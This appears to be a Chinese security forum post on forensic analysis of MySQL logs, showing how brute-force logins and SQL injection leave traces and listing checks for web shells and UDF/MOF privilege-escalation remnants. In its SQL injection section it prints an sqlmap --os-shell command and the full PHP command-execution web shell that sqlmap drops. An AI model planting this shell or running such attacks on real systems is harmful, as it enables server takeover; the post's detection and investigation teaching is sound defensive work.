【大白分享】渗透安全之MYSQL日志分析篇
  

山东_朱文鑫 32732人觉得有帮助

{{ttag.title}}
本帖最后由 山东_朱文鑫 于 2023-6-18 22:24 编辑

大家好,我是大白,更灯火五更鸡,正是男儿立志时。黑发不知勤学早,白首方悔读书迟。依旧感谢各位小伙伴的一路支持与陪伴。


*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

今天分享大白的渗透安全之MySQL日志分析篇,对于Mysql数据库我想对于很多小伙伴来说还是耳熟能详的,本篇还是针对渗透安全篇针对Mysql数据库日志进行日志分析总结,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透攻防的“魅力”。

我们在开始讲解MySQL日志讲解之前我们先了解一下,MySQL的七种日志类型:

重做日志(redo log):【物理格式的日志,记录的是物理数据页面修改的信息,其 redo log 是顺序写入 redo log file 的物理文件中去的。】


回滚日志(undo log):【逻辑格式的日志,在执行 undo 的时候,仅仅是将数据从逻辑上恢复至事务之前的状态,而不是从物理页面上操作实现的,这一点是不同于 redo log 的。】


二进制日志(binlog):【逻辑格式的日志,可以简单认为就是执行过的事务中的 SQL 语句,包括了执行的 SQL 语句(增删改)反向的信息。】

错误日志(errorlog):【错误日志记录了当MySQL启动、停止或者服务器运行过程中发生任何严重错误时的相关信息,当数据库出现任何故障导致无法正常使用时,可以首先查看此日志】


慢查询日志(slow query log):【它是用来记录查询效率较低的SQL语句的日志,慢查询日志记录所有执行时间超过参数long_query_time设置值,默认值为10s】


一般查询日志(general log):【它记录了客户端的所有操作语句,包括增删改查所有语句】


中继日志(relay log):【根据国家等保审计合规要求,数据库要开启审计功能,它主要记录用户登录,对数据库的操作管理,对数据库受到的风险行为进行告警,对攻击行为及时阻断,通过审计日志可以对用户访问数据库行为进行记录、分析和汇报,用来帮助用户事后生成合规报告、事故追根溯源,同时加强内外部数据库网络行为记录,提高数据资产安全。】



Mysql日志分析

general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依。

  1. 1、查看log配置信息
  2. show variables like '%general%';
  3. 2、开启日志
  4. SET GLOBAL general_log = 'On';
  5. 3、指定日志文件路径
  6. #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
复制代码

举例:

  1. 比如,当我访问 /test.php?id=1,此时我们得到这样的日志:

  2. 190604 14:46:14 14 Connect root@localhost on
  3. 14 Init DB test
  4. 14 Query SELECT * FROM admin WHERE id = 1
  5. 14 Quit `
复制代码

我们按列来解析一下:

第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。

第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。

第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。

第四列:Argument,详细信息,例如 Connect root@localhost on 意思就是连接数据库,如此类推,接下面的连上数据库之后,做了什么查询的操作。

登录成功/失败

我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。


MySQL中的log记录是这样子:

  1. Time                 Id        Command         Argument

  2. 190601 22:03:20       98 Connect    用户名@IP地址 on
  3.            98 Connect    Access denied for user '用户名'@'IP地址' (using password: YES)
  4.           103 Connect    mysql@IP地址 on
  5.           103 Connect    Access denied for user 'mysql'@'IP地址' (using password: YES)
  6.           104 Connect    mysql@IP地址 on
  7.           104 Connect    Access denied for user 'mysql'@'IP地址' (using password: YES)
  8.           100 Connect    用户名@IP地址 on
  9.           101 Connect    用户名@IP地址 on
  10.           101 Connect    Access denied for user '用户名'@'IP地址' (using password: YES)
  11.            99 Connect    用户名@IP地址 on
  12.            99 Connect    Access denied for user '用户名'@'IP地址' (using password: YES)
  13.           105 Connect    mysql@IP地址 on
  14.           105 Connect    Access denied for user 'mysql'@'IP地址' (using password: YES)
  15.           100 Query    set autocommit=0
  16.           102 Connect    mysql@IP地址 on
  17.           102 Connect    Access denied for user 'mysql'@'IP地址' (using password: YES)
  18.           100 Quit
复制代码

你知道在这个口令猜解过程中,哪个是成功的吗?

利用爆破工具,一个口令猜解成功的记录是这样子的:

  1. 190601 22:03:20 100 Connect 用户名@IP地址 on
  2. 100 Query set autocommit=0
  3. 100 Quit
复制代码

但是,如果你是用其他方式,可能会有一点点不一样的哦。

Navicat for MySQL登录:

  1. 190601 22:14:07 106 Connect 用户名@IP地址 on
  2. 106 Query SET NAMES utf8
  3. 106 Query SHOW VARIABLES LIKE 'lower_case_%'
  4. 106 Query SHOW VARIABLES LIKE 'profiling'
  5. 106 Query SHOW DATABASES
复制代码

命令行登录:

  1. 190601 22:17:25 111 Connect 用户名@localhost on
  2. 111 Query select @@version_comment limit 1
  3. 190601 22:17:56 111 Quit
复制代码

这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。

另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。

登录失败的记录:

  1. 102 Connect 用户名@IP地址 on
  2. 102 Connect Access denied for user '用户名'@'IP地址' (using password: YES)
复制代码

SQL注入入侵痕迹

在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

1、构造一个SQL注入点,开启Burp监听8080端口

  1. sqlmap.py -u http://IP地址/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080
复制代码

HTTP通讯过程如下:


创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

  1. tmpbwyov.php:

  2. <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "
  3. ".$w."
  4. ";?>`
复制代码

创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。


通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。

检查方法:


1、检查网站目录下,是否存在一些木马文件:




2、检查是否有UDF提权、MOF提权痕迹
检查目录是否有异常文件

mysql\lib\plugin

c:/windows/system32/wbem/mof/

检查函数是否删除

  1. select * from mysql.func
复制代码

3、结合web日志分析。



*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!

以上就是本次的渗透安全之MySQL日志分析篇,一句忠告:业务备份一时不做一时爽,问题出现两行泪,感谢大佬们的参阅,此贴先到这里后续会带上更加实用的帖子,感谢大家!

励志分享超清壁纸语句~~:


学问勤中得,萤窗万卷书。三冬今足用,谁笑腹空虚?——《神童诗》

好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!

打赏鼓励作者,期待更多好文!

打赏
6人已打赏

新手719320 发表于 2023-6-19 14:44
  
楼主的文章图文并茂,清晰易懂,期待楼主更多精彩的分享
技术小白 发表于 2023-6-20 14:05
  
楼主分享的案例很实用,具有典型性,希望有更多这样的干货供我们学习参考,非常感谢!
新手031815 发表于 2023-6-20 15:08
  
楼主分享的案例很实用,具有典型性
zjwshenxian 发表于 2023-6-24 08:06
  
楼主的文章图文并茂,清晰易懂,期待楼主更多精彩的分享
平凡的小网工 发表于 2023-6-24 16:02
  
楼主的文章图文并茂,清晰易懂,看完这波操作可以轻松上手了,如遇到问题再向楼主请教~
一个无趣的人 发表于 2023-6-25 10:58
  
楼主的文章图文并茂,清晰易懂,看完这波操作可以轻松上手了,如遇到问题再向楼主请教~
何茂源 发表于 2023-6-25 16:30
  
感谢分享有助于工资和学习!
dhf 发表于 2023-9-14 17:58
  
每日打卡学习,感谢分享,学习了!!!
dhf 发表于 2023-9-16 14:48
  
感谢楼主的精彩分享,有助工作!!!
发表新帖
热门标签
全部标签>
西北区每日一问
技术盲盒
安全效果
【 社区to talk】
技术笔记
干货满满
每日一问
信服课堂视频
新版本体验
GIF动图学习
技术咨询
功能体验
2023技术争霸赛专题
产品连连看
安装部署配置
通用技术
秒懂零信任
技术晨报
自助服务平台操作指引
原创分享
标准化排查
排障笔记本
玩转零信任
排障那些事
SDP百科
深信服技术支持平台
POC测试案例
畅聊IT
答题自测
专家问答
技术圆桌
在线直播
MVP
网络基础知识
升级
安全攻防
上网策略
测试报告
日志审计
问题分析处理
流量管理
每日一记
运维工具
云计算知识
用户认证
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
功能咨询
终端接入
授权
设备维护
资源访问
地址转换
虚拟机
存储
迁移
加速技术
产品预警公告
信服圈儿
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
社区帮助指南
答题榜单公布
纪元平台
卧龙计划
华北区拉练
天逸直播
以战代练
山东区技术晨报
文档捉虫活动
齐鲁TV
华北区交付直播
每周精选
2024年技术争霸赛
北京区每日一练
场景专题
故障笔记
高手请过招
升级&主动服务
高频问题集锦
社区新周刊
全能先锋系列
云化安全能力

本版版主

7
20
6

发帖

粉丝

关注

本版达人

ggbang

本周建议达人

adds

本周提问达人